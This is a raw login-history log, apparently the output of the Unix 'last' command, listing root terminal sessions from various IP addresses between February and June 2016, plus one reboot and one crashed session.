root     pts/11       79.176.100.237   Sat Jun 25 11:05:44 2016 - Sat Jun 25 12:38:38 2016  (01:32)
root     pts/0        77.124.54.56     Fri Jun 24 22:03:18 2016 - Sat Jun 25 16:55:52 2016  (18:52)
root     pts/2        77.124.94.31     Fri Jun 24 15:50:09 2016 - Fri Jun 24 19:29:27 2016  (03:39)
root     pts/6        79.176.100.237   Fri Jun 24 14:29:36 2016 - Fri Jun 24 14:48:55 2016  (00:19)
root     pts/1        79.176.100.237   Thu Jun 23 22:59:58 2016 - Thu Jun 23 23:06:10 2016  (00:06)
root     pts/8        79.176.100.237   Thu Jun 23 12:38:20 2016 - Thu Jun 23 22:55:50 2016  (10:17)
root     pts/4        79.176.100.237   Thu Jun 23 03:24:10 2016 - Thu Jun 23 03:33:28 2016  (00:09)
root     pts/5        79.176.100.237   Wed Jun 22 12:19:59 2016 - Wed Jun 22 12:21:14 2016  (00:01)
root     pts/8        79.176.100.237   Wed Jun 22 11:29:51 2016 - Wed Jun 22 11:43:46 2016  (00:13)
root     pts/3        77.124.127.159   Wed Jun 22 06:24:14 2016 - Thu Jun 23 02:18:13 2016  (19:53)
root     pts/1        79.176.100.237   Wed Jun 22 00:13:23 2016 - Wed Jun 22 10:46:55 2016  (10:33)
root     pts/2        79.176.100.237   Tue Jun 21 04:38:32 2016 - Tue Jun 21 21:20:44 2016  (16:42)
root     pts/4        79.176.100.237   Mon Jun 20 23:38:02 2016 - Tue Jun 21 01:08:51 2016  (01:30)
root     pts/3        77.124.127.159   Mon Jun 20 10:18:10 2016 - Wed Jun 22 06:24:11 2016 (1+20:06)
root     pts/3        77.124.127.159   Mon Jun 20 06:56:27 2016 - Mon Jun 20 10:17:48 2016  (03:21)
root     pts/3        77.124.127.159   Mon Jun 20 04:11:04 2016 - Mon Jun 20 06:56:08 2016  (02:45)
root     pts/0        77.124.127.159   Mon Jun 20 01:06:26 2016 - Mon Jun 20 03:17:49 2016  (02:11)
root     pts/0        109.66.26.251    Sun Jun 19 20:18:21 2016 - Sun Jun 19 20:35:35 2016  (00:17)
root     pts/0        109.66.26.251    Sat Jun 18 21:12:23 2016 - Sun Jun 19 00:22:31 2016  (03:10)
root     pts/0        109.66.26.251    Fri Jun 17 22:18:55 2016 - Sat Jun 18 18:17:21 2016  (19:58)
root     pts/2        77.124.127.159   Fri Jun 17 19:49:59 2016 - Sat Jun 18 15:52:29 2016  (20:02)
root     pts/0        109.66.26.251    Thu Jun 16 22:23:27 2016 - Fri Jun 17 01:10:19 2016  (02:46)
root     pts/0        109.66.26.251    Thu Jun 16 11:07:36 2016 - Thu Jun 16 21:38:41 2016  (10:31)
root     pts/4        77.124.127.159   Thu Jun 16 06:05:32 2016 - Thu Jun 16 19:48:03 2016  (13:42)
root     pts/1        109.66.26.251    Thu Jun 16 00:12:57 2016 - Thu Jun 16 01:00:27 2016  (00:47)
root     pts/1        109.66.26.251    Wed Jun 15 23:56:49 2016 - Thu Jun 16 00:12:53 2016  (00:16)
root     pts/1        109.66.26.251    Wed Jun 15 16:56:29 2016 - Wed Jun 15 21:40:27 2016  (04:43)
root     pts/4        109.64.196.14    Wed Jun 15 13:52:34 2016 - Wed Jun 15 14:50:00 2016  (00:57)
root     pts/8        79.177.250.15    Tue Jun 14 16:17:41 2016 - Tue Jun 14 16:54:37 2016  (00:36)
root     pts/12       77.124.127.159   Mon Jun 13 17:14:43 2016 - Tue Jun 14 15:17:46 2016  (22:03)
root     pts/15       77.124.127.159   Mon Jun 13 15:20:37 2016 - Mon Jun 13 17:14:37 2016  (01:54)
root     pts/12       79.179.18.170    Mon Jun 13 11:38:41 2016 - Mon Jun 13 11:46:19 2016  (00:07)
root     pts/9        79.180.106.225   Mon Jun 13 11:24:26 2016 - Mon Jun 13 11:45:52 2016  (00:21)
root     pts/0        77.124.127.159   Sat Jun 11 12:39:07 2016 - Sun Jun 12 19:14:21 2016 (1+06:35)
root     pts/0        77.124.127.159   Fri Jun 10 20:43:04 2016 - Fri Jun 10 22:54:19 2016  (02:11)
root     pts/0        77.124.127.159   Fri Jun 10 00:37:17 2016 - Fri Jun 10 02:48:37 2016  (02:11)
root     pts/2        77.124.127.159   Thu Jun  9 21:38:46 2016 - Fri Jun 10 00:37:12 2016  (02:58)
root     pts/4        77.124.92.200    Wed Jun  8 22:09:36 2016 - Thu Jun  9 15:27:38 2016  (17:18)
root     pts/7        87.68.74.119     Tue Jun  7 17:00:15 2016 - Wed Jun  8 14:11:16 2016  (21:11)
root     pts/2        87.68.74.119     Mon Jun  6 13:55:55 2016 - Mon Jun  6 15:36:52 2016  (01:40)
root     pts/2        87.68.74.119     Sun Jun  5 23:22:03 2016 - Mon Jun  6 00:15:26 2016  (00:53)
root     pts/9        87.68.74.119     Sat Jun  4 16:10:42 2016 - Sun Jun  5 17:45:48 2016 (1+01:35)
root     pts/0        87.68.74.119     Wed Jun  1 17:25:54 2016 - Fri Jun  3 17:09:03 2016 (1+23:43)
root     pts/1        87.68.74.119     Wed Jun  1 15:30:37 2016 - Wed Jun  1 17:25:47 2016  (01:55)
root     pts/2        79.181.192.54    Sun May 29 23:02:53 2016 - Mon May 30 07:07:32 2016  (08:04)
root     pts/10       87.71.110.179    Sat May 28 11:18:36 2016 - Sun May 29 03:42:47 2016  (16:24)
root     pts/3        79.181.192.54    Wed May 25 21:21:41 2016 - Wed May 25 21:21:43 2016  (00:00)
root     pts/3        79.181.192.54    Tue May 24 02:04:11 2016 - Tue May 24 20:42:37 2016  (18:38)
root     pts/6        87.68.12.50      Mon May 23 21:29:38 2016 - Tue May 24 07:41:59 2016  (10:12)
root     pts/3        79.179.161.234   Sun May 22 09:22:02 2016 - Mon May 23 02:37:48 2016  (17:15)
root     pts/0        79.179.161.234   Sat May 21 20:07:40 2016 - Sat May 21 20:52:34 2016  (00:44)
root     pts/0        79.179.161.234   Fri May 20 23:23:03 2016 - Sat May 21 00:08:26 2016  (00:45)
root     pts/10       79.179.161.234   Fri May 20 13:11:01 2016 - Fri May 20 21:30:46 2016  (08:19)
root     pts/0        79.178.197.152   Thu May 19 10:08:51 2016 - Thu May 19 21:44:06 2016  (11:35)
root     pts/6        87.68.12.50      Thu May 19 05:10:34 2016 - Thu May 19 20:26:40 2016  (15:16)
root     pts/0        87.68.12.50      Sun May 15 21:19:52 2016 - Tue May 17 16:22:19 2016 (1+19:02)
root     pts/2        79.178.197.152   Sat May 14 10:05:36 2016 - Wed May 18 12:14:24 2016 (4+02:08)
root     pts/4        109.66.201.99    Fri May 13 13:53:33 2016 - Fri May 13 20:30:57 2016  (06:37)
root     pts/9        87.70.106.132    Thu May 12 13:22:51 2016 - Thu May 12 19:58:14 2016  (06:35)
root     pts/4        87.70.106.132    Thu May 12 12:01:08 2016 - Thu May 12 14:14:32 2016  (02:13)
root     pts/7        87.70.106.132    Wed May 11 16:15:48 2016 - Wed May 11 18:29:00 2016  (02:13)
root     pts/0        109.66.201.99    Wed May 11 13:29:32 2016 - Fri May 13 00:07:19 2016 (1+10:37)
root     pts/3        109.66.201.99    Tue May 10 23:19:44 2016 - Wed May 11 03:55:17 2016  (04:35)
root     pts/0        87.70.106.132    Tue May 10 16:37:34 2016 - Wed May 11 01:27:22 2016  (08:49)
root     pts/9        87.70.106.132    Tue May 10 13:47:29 2016 - Tue May 10 17:43:12 2016  (03:55)
root     pts/2        79.181.114.101   Tue May 10 09:54:01 2016 - Tue May 10 22:27:38 2016  (12:33)
root     pts/3        87.70.106.132    Mon May  9 07:43:49 2016 - Mon May  9 10:11:37 2016  (02:27)
root     pts/5        79.181.119.84    Sun May  8 09:20:32 2016 - Sun May  8 18:44:56 2016  (09:24)
root     pts/0        87.70.106.132    Sat May  7 04:50:11 2016 - Sun May  8 03:25:33 2016  (22:35)
root     pts/1        87.70.106.132    Thu May  5 00:53:35 2016 - Sat May  7 05:27:29 2016 (2+04:33)
root     pts/10       87.70.106.132    Wed May  4 22:45:35 2016 - Thu May  5 01:04:06 2016  (02:18)
root     pts/0        79.181.119.84    Wed May  4 10:55:12 2016 - Thu May  5 09:13:00 2016  (22:17)
root     pts/6        84.228.167.164   Tue May  3 17:30:02 2016 - Wed May  4 10:47:21 2016  (17:17)
root     pts/2        87.70.38.95      Tue May  3 16:51:14 2016 - Tue May  3 19:26:46 2016  (02:35)
root     pts/8        109.66.13.70     Sun May  1 14:51:30 2016 - Sun May  1 19:14:13 2016  (04:22)
root     pts/6        79.183.24.132    Sat Apr 30 13:43:29 2016 - Sat Apr 30 18:27:12 2016  (04:43)
root     pts/11       84.228.251.245   Fri Apr 29 16:54:03 2016 - Mon May  2 20:59:51 2016 (3+04:05)
root     pts/7        79.183.24.132    Fri Apr 29 05:28:57 2016 - Sat Apr 30 13:38:38 2016 (1+08:09)
root     pts/6        87.70.121.31     Fri Apr 29 03:46:42 2016 - Fri Apr 29 11:44:57 2016  (07:58)
root     pts/12       79.183.24.132    Thu Apr 28 16:55:01 2016 - Thu Apr 28 19:28:23 2016  (02:33)
root     pts/7        79.182.126.236   Thu Apr 28 14:36:25 2016 - Thu Apr 28 15:18:08 2016  (00:41)
root     pts/12       109.64.189.250   Thu Apr 28 01:41:21 2016 - Thu Apr 28 14:34:03 2016  (12:52)
root     pts/6        109.64.189.250   Wed Apr 27 18:08:04 2016 - Wed Apr 27 20:40:01 2016  (02:31)
root     pts/4        109.64.189.250   Wed Apr 27 16:06:00 2016 - Wed Apr 27 18:05:53 2016  (01:59)
root     pts/7        109.64.189.250   Tue Apr 26 21:29:26 2016 - Wed Apr 27 06:42:17 2016  (09:12)
root     pts/7        109.64.189.250   Tue Apr 26 19:45:07 2016 - Tue Apr 26 20:19:08 2016  (00:34)
root     pts/1        109.64.189.250   Tue Apr 26 19:20:50 2016 - Tue Apr 26 19:23:56 2016  (00:03)
root     pts/8        87.70.121.31     Tue Apr 26 19:16:30 2016 - Fri Apr 29 02:27:10 2016 (2+07:10)
root     pts/2        109.64.189.250   Tue Apr 26 16:28:04 2016 - Tue Apr 26 16:44:05 2016  (00:16)
root     pts/3        109.64.189.250   Tue Apr 26 02:01:28 2016 - Tue Apr 26 03:52:02 2016  (01:50)
root     pts/0        84.228.148.74    Mon Apr 25 15:00:18 2016 - Mon Apr 25 17:26:37 2016  (02:26)
root     pts/0        84.228.148.74    Mon Apr 25 14:26:50 2016 - Mon Apr 25 15:00:09 2016  (00:33)
root     pts/9        84.228.148.74    Mon Apr 25 13:22:24 2016 - Mon Apr 25 14:26:46 2016  (01:04)
root     pts/4        109.64.189.250   Mon Apr 25 02:54:28 2016 - Mon Apr 25 18:06:37 2016  (15:12)
root     pts/4        109.64.189.250   Sun Apr 24 21:41:26 2016 - Sun Apr 24 23:25:35 2016  (01:44)
root     pts/2        79.183.24.12     Sun Apr 24 07:07:19 2016 - Sun Apr 24 07:09:00 2016  (00:01)
root     pts/1        84.228.148.74    Sun Apr 24 02:12:34 2016 - Sun Apr 24 20:14:58 2016  (18:02)
root     pts/11       84.228.148.74    Sat Apr 23 19:07:49 2016 - Sun Apr 24 02:12:20 2016  (07:04)
root     pts/7        79.183.24.12     Sat Apr 23 17:03:39 2016 - Sun Apr 24 19:35:53 2016 (1+02:32)
root     pts/0        84.228.148.74    Fri Apr 22 20:12:01 2016 - Sat Apr 23 17:57:29 2016  (21:45)
root     pts/6        84.228.148.74    Fri Apr 22 19:52:46 2016 - Fri Apr 22 20:37:42 2016  (00:44)
root     pts/6        79.180.196.22    Thu Apr 21 20:41:48 2016 - Fri Apr 22 11:44:45 2016  (15:02)
root     pts/7        79.180.184.122   Thu Apr 21 14:30:31 2016 - Thu Apr 21 18:31:56 2016  (04:01)
root     pts/2        79.179.106.245   Wed Apr 20 22:30:16 2016 - Thu Apr 21 09:19:19 2016  (10:49)
root     pts/8        79.179.106.245   Wed Apr 20 21:16:57 2016 - Wed Apr 20 23:59:20 2016  (02:42)
root     pts/1        79.181.144.179   Wed Apr 20 20:13:31 2016 - Wed Apr 20 21:27:14 2016  (01:13)
root     pts/4        84.228.19.125    Wed Apr 20 17:59:21 2016 - Fri Apr 22 07:30:12 2016 (1+13:30)
root     pts/8        79.178.24.251    Wed Apr 20 17:53:07 2016 - Wed Apr 20 20:26:34 2016  (02:33)
root     pts/2        79.178.24.251    Wed Apr 20 14:40:02 2016 - Wed Apr 20 15:38:54 2016  (00:58)
root     pts/5        79.182.53.27     Tue Apr 19 21:15:43 2016 - Wed Apr 20 03:15:56 2016  (06:00)
root     pts/5        79.179.213.209   Tue Apr 19 14:29:18 2016 - Tue Apr 19 19:31:02 2016  (05:01)
root     pts/7        87.70.82.73      Tue Apr 19 10:31:36 2016 - Wed Apr 20 13:36:28 2016 (1+03:04)
root     pts/12       87.70.82.73      Tue Apr 19 09:10:35 2016 - Tue Apr 19 10:31:30 2016  (01:20)
root     pts/5        79.183.32.162    Mon Apr 18 20:00:35 2016 - Tue Apr 19 14:02:24 2016  (18:01)
root     pts/10       79.183.32.162    Mon Apr 18 19:53:54 2016 - Mon Apr 18 20:00:24 2016  (00:06)
root     pts/0        87.70.82.73      Mon Apr 18 15:04:13 2016 - Tue Apr 19 09:10:29 2016  (18:06)
root     pts/4        79.183.32.162    Sun Apr 17 22:06:29 2016 - Mon Apr 18 17:04:52 2016  (18:58)
root     pts/1        79.183.32.162    Sun Apr 17 21:17:38 2016 - Sun Apr 17 21:58:34 2016  (00:40)
root     pts/5        79.183.32.162    Sat Apr 16 20:55:29 2016 - Sat Apr 16 22:23:37 2016  (01:28)
root     pts/7        87.70.82.73      Fri Apr 15 02:54:25 2016 - Mon Apr 18 15:51:29 2016 (3+12:57)
root     pts/7        87.70.82.73      Thu Apr 14 18:09:54 2016 - Fri Apr 15 02:54:19 2016  (08:44)
root     pts/4        87.70.82.73      Thu Apr 14 02:38:40 2016 - Thu Apr 14 07:35:25 2016  (04:56)
root     pts/3        79.177.236.12    Wed Apr 13 23:02:44 2016 - Thu Apr 14 04:18:13 2016  (05:15)
root     pts/3        79.177.236.12    Wed Apr 13 11:56:02 2016 - Wed Apr 13 12:31:54 2016  (00:35)
root     pts/10       84.228.18.218    Tue Apr 12 16:23:22 2016 - Wed Apr 13 07:17:04 2016  (14:53)
root     pts/8        79.177.236.12    Tue Apr 12 15:41:01 2016 - Tue Apr 12 19:37:47 2016  (03:56)
root     pts/8        79.177.236.12    Tue Apr 12 12:18:01 2016 - Tue Apr 12 12:36:29 2016  (00:18)
root     pts/0        84.228.18.218    Mon Apr 11 20:58:04 2016 - Tue Apr 12 12:36:50 2016  (15:38)
root     pts/0        84.228.18.218    Mon Apr 11 16:24:06 2016 - Mon Apr 11 20:58:02 2016  (04:33)
root     pts/0        84.228.18.218    Mon Apr 11 14:49:37 2016 - Mon Apr 11 16:23:44 2016  (01:34)
root     pts/6        84.228.139.254   Sun Apr 10 21:05:37 2016 - Mon Apr 11 03:34:39 2016  (06:29)
root     pts/0        84.228.14.183    Sat Apr  9 02:58:35 2016 - Sat Apr  9 02:58:41 2016  (00:00)
root     pts/0        84.228.14.183    Sat Apr  9 02:20:34 2016 - Sat Apr  9 02:20:41 2016  (00:00)
root     pts/3        84.228.14.183    Sat Apr  9 01:17:56 2016 - Sat Apr  9 20:58:59 2016  (19:41)
root     pts/4        79.177.236.12    Fri Apr  8 15:04:28 2016 - Sun Apr 10 00:22:38 2016 (1+09:18)
root     pts/6        84.228.14.183    Thu Apr  7 17:37:44 2016 - Fri Apr  8 11:32:34 2016  (17:54)
root     pts/9        79.177.236.12    Thu Apr  7 10:47:13 2016 - Fri Apr  8 09:04:33 2016  (22:17)
root     pts/4        79.177.236.12    Wed Apr  6 18:51:02 2016 - Wed Apr  6 23:13:52 2016  (04:22)
root     pts/13       84.228.14.183    Wed Apr  6 14:12:18 2016 - Thu Apr  7 05:41:05 2016  (15:28)
root     pts/1        109.64.26.134    Tue Apr  5 19:26:55 2016 - Tue Apr  5 20:06:54 2016  (00:39)
root     pts/6        84.228.14.183    Tue Apr  5 10:09:15 2016 - Tue Apr  5 17:49:18 2016  (07:40)
root     pts/3        79.180.129.96    Tue Apr  5 00:44:23 2016 - Tue Apr  5 10:58:09 2016  (10:13)
root     pts/5        79.176.82.202    Mon Apr  4 23:18:49 2016 - Mon Apr  4 23:40:50 2016  (00:22)
root     pts/4        79.176.82.202    Mon Apr  4 22:47:16 2016 - Mon Apr  4 22:47:17 2016  (00:00)
root     pts/11       79.176.82.202    Mon Apr  4 13:31:27 2016 - Mon Apr  4 14:04:57 2016  (00:33)
root     pts/6        84.228.14.183    Mon Apr  4 12:39:37 2016 - Tue Apr  5 10:09:14 2016  (21:29)
root     pts/13       84.228.46.110    Sun Apr  3 19:17:49 2016 - Mon Apr  4 00:38:20 2016  (05:20)
root     pts/7        79.176.82.202    Sun Apr  3 11:15:04 2016 - Sun Apr  3 11:15:23 2016  (00:00)
root     pts/4        79.176.82.202    Sat Apr  2 18:34:04 2016 - Sun Apr  3 03:17:59 2016  (08:43)
root     pts/10       84.228.46.110    Fri Apr  1 16:46:58 2016 - Sun Apr  3 16:53:27 2016 (2+00:06)
root     pts/7        79.176.82.202    Fri Apr  1 15:46:41 2016 - Fri Apr  1 15:51:33 2016  (00:04)
root     pts/3        79.176.82.202    Thu Mar 31 22:39:25 2016 - Fri Apr  1 01:58:23 2016  (03:18)
root     pts/1        79.176.82.202    Thu Mar 31 21:11:19 2016 - Thu Mar 31 22:28:09 2016  (01:16)
root     pts/1        79.176.82.202    Thu Mar 31 19:53:37 2016 - Thu Mar 31 21:11:15 2016  (01:17)
root     pts/3        79.176.82.202    Thu Mar 31 18:22:04 2016 - Thu Mar 31 18:33:53 2016  (00:11)
root     pts/3        79.176.82.202    Thu Mar 31 18:21:42 2016 - Thu Mar 31 18:21:59 2016  (00:00)
root     pts/6        79.176.82.202    Thu Mar 31 18:20:19 2016 - Thu Mar 31 18:21:36 2016  (00:01)
root     pts/5        84.228.46.110    Thu Mar 31 08:11:08 2016 - Thu Mar 31 18:31:44 2016  (10:20)
root     pts/6        79.176.82.202    Wed Mar 30 20:45:56 2016 - Thu Mar 31 16:48:41 2016  (20:02)
root     pts/3        84.228.141.147   Wed Mar 30 04:13:00 2016 - Wed Mar 30 08:58:15 2016  (04:45)
root     pts/4        79.176.82.202    Tue Mar 29 21:03:21 2016 - Tue Mar 29 21:23:27 2016  (00:20)
root     pts/8        84.228.162.207   Tue Mar 29 03:22:29 2016 - Tue Mar 29 07:12:06 2016  (03:49)
root     pts/1        79.176.82.202    Mon Mar 28 20:55:34 2016 - Tue Mar 29 00:22:31 2016  (03:26)
root     pts/8        79.176.82.202    Mon Mar 28 16:32:52 2016 - Mon Mar 28 17:15:05 2016  (00:42)
root     pts/6        79.176.82.202    Mon Mar 28 01:50:00 2016 - Mon Mar 28 02:11:33 2016  (00:21)
root     pts/8        79.176.82.202    Sat Mar 26 23:18:06 2016 - Sun Mar 27 22:00:42 2016  (21:42)
root     pts/4        84.228.162.207   Sat Mar 26 23:16:07 2016 - Tue Mar 29 05:40:56 2016 (2+05:24)
root     pts/5        79.176.82.202    Sat Mar 26 19:39:06 2016 - Sat Mar 26 20:39:15 2016  (01:00)
root     pts/3        84.228.218.232   Sat Mar 26 04:42:39 2016 - Sat Mar 26 14:02:11 2016  (09:19)
root     pts/6        79.176.82.202    Fri Mar 25 19:50:43 2016 - Sat Mar 26 16:40:52 2016  (20:50)
root     pts/3        84.228.218.232   Fri Mar 25 19:21:48 2016 - Sat Mar 26 04:42:27 2016  (09:20)
root     pts/8        79.176.82.202    Thu Mar 24 11:50:07 2016 - Thu Mar 24 11:57:44 2016  (00:07)
root     pts/3        84.228.218.232   Wed Mar 23 03:23:55 2016 - Fri Mar 25 19:21:42 2016 (2+15:57)
root     pts/8        84.228.218.232   Wed Mar 23 00:36:08 2016 - Wed Mar 23 02:53:36 2016  (02:17)
root     pts/0        79.176.82.202    Tue Mar 22 17:00:42 2016 - Thu Mar 24 00:27:35 2016 (1+07:26)
root     pts/7        84.228.218.232   Tue Mar 22 16:44:14 2016 - Wed Mar 23 01:18:25 2016  (08:34)
root     pts/1        84.228.218.232   Tue Mar 22 11:50:11 2016 - Tue Mar 22 15:19:51 2016  (03:29)
root     pts/1        79.176.82.202    Tue Mar 22 02:19:27 2016 - Tue Mar 22 11:28:51 2016  (09:09)
root     pts/2        84.228.218.232   Tue Mar 22 02:04:24 2016 - Tue Mar 22 12:58:19 2016  (10:53)
root     pts/7        84.228.58.226    Mon Mar 21 15:56:33 2016 - Tue Mar 22 04:06:31 2016  (12:09)
root     pts/5        79.176.82.202    Sat Mar 19 20:24:06 2016 - Tue Mar 22 02:19:09 2016 (2+05:55)
root     pts/6        84.228.58.226    Fri Mar 18 22:05:00 2016 - Sun Mar 20 03:21:44 2016 (1+05:16)
root     pts/9        79.176.82.202    Fri Mar 18 21:33:31 2016 - Fri Mar 18 21:52:33 2016  (00:19)
root     pts/1        79.176.82.202    Fri Mar 18 16:09:50 2016 - Sat Mar 19 19:17:39 2016 (1+03:07)
root     pts/1        79.176.82.202    Wed Mar 16 20:03:31 2016 - Fri Mar 18 16:08:55 2016 (1+20:05)
root     pts/5        79.176.82.202    Wed Mar 16 19:59:32 2016 - Wed Mar 16 20:03:26 2016  (00:03)
root     pts/3        79.176.82.202    Tue Mar 15 22:10:50 2016 - Wed Mar 16 10:15:54 2016  (12:05)
root     pts/8        79.176.82.202    Tue Mar 15 19:23:50 2016 - Tue Mar 15 21:24:52 2016  (02:01)
root     pts/6        84.228.60.178    Tue Mar 15 07:15:50 2016 - Thu Mar 17 00:06:50 2016 (1+16:51)
root     pts/2        79.182.170.158   Mon Mar 14 23:45:23 2016 - Tue Mar 15 18:06:04 2016  (18:20)
root     pts/0        79.182.170.158   Sun Mar 13 21:11:02 2016 - Mon Mar 14 20:58:32 2016  (23:47)
root     pts/7        79.182.140.133   Sun Mar 13 16:52:49 2016 - Sun Mar 13 17:41:15 2016  (00:48)
root     pts/5        109.64.209.30    Sun Mar 13 12:02:09 2016 - Sun Mar 13 16:40:15 2016  (04:38)
root     pts/4        109.64.209.30    Sun Mar 13 11:48:28 2016 - Sun Mar 13 11:51:46 2016  (00:03)
root     pts/3        84.228.60.178    Sat Mar 12 23:15:04 2016 - Sun Mar 13 04:10:55 2016  (04:55)
root     pts/4        79.176.219.182   Sat Mar 12 12:37:13 2016 - Sun Mar 13 11:38:47 2016  (23:01)
root     pts/4        79.176.219.182   Sat Mar 12 01:04:33 2016 - Sat Mar 12 12:30:28 2016  (11:25)
root     pts/8        79.183.21.237    Thu Mar 10 17:55:39 2016 - Thu Mar 10 22:04:09 2016  (04:08)
root     pts/5        2.52.151.26      Thu Mar 10 12:40:21 2016 - Thu Mar 10 12:56:42 2016  (00:16)
root     pts/3        84.228.60.178    Thu Mar 10 10:38:32 2016 - Sat Mar 12 23:14:53 2016 (2+12:36)
root     pts/1        79.183.21.237    Wed Mar  9 22:26:36 2016 - Thu Mar 10 00:46:35 2016  (02:19)
root     pts/6        79.183.21.237    Wed Mar  9 21:56:05 2016 - Wed Mar  9 22:06:23 2016  (00:10)
root     pts/2        84.229.35.230    Wed Mar  9 17:35:32 2016 - Thu Mar 10 03:34:22 2016  (09:58)
root     pts/10       79.183.21.237    Wed Mar  9 17:20:24 2016 - Wed Mar  9 19:44:46 2016  (02:24)
root     pts/2        84.229.35.230    Wed Mar  9 11:35:32 2016 - Wed Mar  9 17:35:30 2016  (05:59)
root     pts/4        79.183.21.237    Tue Mar  8 20:57:32 2016 - Tue Mar  8 22:22:16 2016  (01:24)
root     pts/7        79.183.21.237    Tue Mar  8 18:09:59 2016 - Tue Mar  8 18:21:27 2016  (00:11)
root     pts/5        84.229.35.230    Tue Mar  8 16:02:32 2016 - Wed Mar  9 00:25:25 2016  (08:22)
root     pts/2        79.176.41.31     Tue Mar  8 15:20:19 2016 - Tue Mar  8 16:24:51 2016  (01:04)
root     pts/2        79.176.41.31     Tue Mar  8 15:06:04 2016 - Tue Mar  8 15:20:15 2016  (00:14)
root     pts/0        84.229.35.230    Tue Mar  8 15:04:24 2016 - Tue Mar  8 16:02:41 2016  (00:58)
reboot   system boot  0.0.0.0          Tue Mar  8 15:03:38 2016 - Tue Jun 28 23:09:41 2016 (112+07:06)
root     pts/3        84.229.35.230    Tue Mar  8 14:42:15 2016 - crash                     (00:21)
root     pts/3        2.52.129.29      Tue Mar  8 10:57:54 2016 - Tue Mar  8 11:32:59 2016  (00:35)
root     pts/1        79.176.41.31     Mon Mar  7 21:46:02 2016 - Tue Mar  8 14:28:20 2016  (16:42)
root     pts/2        84.229.35.230    Mon Mar  7 18:52:42 2016 - Tue Mar  8 10:02:06 2016  (15:09)
root     pts/11       79.176.200.194   Mon Mar  7 14:08:49 2016 - Mon Mar  7 14:37:28 2016  (00:28)
root     pts/2        79.176.200.194   Mon Mar  7 12:29:01 2016 - Mon Mar  7 13:47:28 2016  (01:18)
root     pts/8        84.229.37.8      Mon Mar  7 10:51:53 2016 - Mon Mar  7 14:49:02 2016  (03:57)
root     pts/0        84.229.37.8      Sun Mar  6 10:46:35 2016 - Mon Mar  7 08:23:23 2016  (21:36)
root     pts/0        84.228.127.234   Sun Mar  6 00:59:33 2016 - Sun Mar  6 08:02:19 2016  (07:02)
root     pts/0        84.228.127.234   Sun Mar  6 00:58:16 2016 - Sun Mar  6 00:59:30 2016  (00:01)
root     pts/10       79.179.32.215    Thu Mar  3 22:58:14 2016 - Mon Mar  7 12:08:50 2016 (3+13:10)
root     pts/3        79.179.32.215    Thu Mar  3 16:02:57 2016 - Thu Mar  3 21:55:32 2016  (05:52)
root     pts/4        84.229.63.76     Thu Mar  3 05:49:16 2016 - Thu Mar  3 08:00:32 2016  (02:11)
root     pts/6        79.179.39.65     Wed Mar  2 19:17:23 2016 - Thu Mar  3 02:24:49 2016  (07:07)
root     pts/6        2.52.7.156       Wed Mar  2 17:44:39 2016 - Wed Mar  2 18:50:46 2016  (01:06)
root     pts/3        84.229.63.76     Wed Mar  2 05:54:37 2016 - Wed Mar  2 19:33:20 2016  (13:38)
root     pts/8        109.66.204.40    Tue Mar  1 19:16:15 2016 - Wed Mar  2 18:29:51 2016  (23:13)
root     pts/9        2.54.254.131     Tue Mar  1 18:59:35 2016 - Tue Mar  1 19:31:10 2016  (00:31)
root     pts/13       84.229.63.76     Tue Mar  1 18:01:12 2016 - Wed Mar  2 01:01:19 2016  (07:00)
root     pts/7        79.177.135.127   Tue Mar  1 12:01:40 2016 - Tue Mar  1 16:19:41 2016  (04:18)
root     pts/1        84.229.63.76     Tue Mar  1 01:15:35 2016 - Tue Mar  1 07:16:58 2016  (06:01)
root     pts/2        79.177.135.127   Mon Feb 29 22:41:22 2016 - Tue Mar  1 00:21:24 2016  (01:40)
root     pts/3        79.177.135.127   Sun Feb 28 22:40:00 2016 - Mon Feb 29 00:40:02 2016  (02:00)
root     pts/4        79.177.135.127   Sat Feb 27 14:25:07 2016 - Sat Feb 27 14:59:04 2016  (00:33)
root     pts/6        79.177.135.127   Fri Feb 26 16:19:27 2016 - Fri Feb 26 19:44:00 2016  (03:24)
root     pts/1        79.177.135.127   Fri Feb 26 15:54:42 2016 - Fri Feb 26 15:56:17 2016  (00:01)
root     pts/5        2.54.254.131     Thu Feb 25 13:03:21 2016 - Thu Feb 25 13:30:01 2016  (00:26)
root     pts/7        2.54.254.131     Thu Feb 25 10:00:45 2016 - Thu Feb 25 10:20:31 2016  (00:19)
root     pts/4        79.177.135.127   Wed Feb 24 18:06:08 2016 - Wed Feb 24 18:06:48 2016  (00:00)
root     pts/6        77.127.236.117   Wed Feb 24 17:36:59 2016 - Thu Feb 25 10:18:36 2016  (16:41)
root     pts/4        77.127.236.117   Wed Feb 24 17:36:54 2016 - Wed Feb 24 17:37:16 2016  (00:00)
root     pts/1        79.181.52.70     Tue Feb 23 23:28:33 2016 - Wed Feb 24 00:57:37 2016  (01:29)
root     pts/4        79.181.52.70     Tue Feb 23 20:26:34 2016 - Tue Feb 23 23:26:09 2016  (02:59)
root     pts/9        79.181.52.70     Tue Feb 23 17:14:39 2016 - Tue Feb 23 19:39:17 2016  (02:24)
root     pts/9        79.176.202.238   Tue Feb 23 08:36:06 2016 - Tue Feb 23 08:39:36 2016  (00:03)
root     pts/3        2.54.254.131     Mon Feb 22 09:09:41 2016 - Mon Feb 22 09:13:32 2016  (00:03)
root     pts/2        79.181.21.151    Sun Feb 21 12:51:45 2016 - Sun Feb 21 21:37:29 2016  (08:45)
root     pts/2        79.181.21.151    Sun Feb 21 11:42:45 2016 - Sun Feb 21 12:16:55 2016  (00:34)
root     pts/7        84.228.191.116   Sun Feb 21 03:59:23 2016 - Tue Feb 23 23:29:11 2016 (2+19:29)
root     pts/2        79.181.21.151    Sun Feb 21 01:08:39 2016 - Sun Feb 21 01:16:24 2016  (00:07)
root     pts/4        79.181.21.151    Sat Feb 20 17:51:09 2016 - Sun Feb 21 12:49:41 2016  (18:58)
root     pts/2        79.181.21.151    Sat Feb 20 16:00:24 2016 - Sat Feb 20 17:22:04 2016  (01:21)
root     pts/2        79.181.21.151    Sat Feb 20 10:01:39 2016 - Sat Feb 20 15:49:34 2016  (05:47)
root     pts/0        84.228.191.116   Sat Feb 20 03:01:41 2016 - Sat Feb 20 06:40:16 2016  (03:38)
root     pts/5        2.52.40.181      Fri Feb 19 10:55:34 2016 - Fri Feb 19 11:31:02 2016  (00:35)
root     pts/14       79.181.21.151    Thu Feb 18 22:04:17 2016 - Fri Feb 19 07:47:52 2016  (09:43)
root     pts/1        84.228.191.116   Thu Feb 18 17:18:44 2016 - Sat Feb 20 03:01:34 2016 (1+09:42)
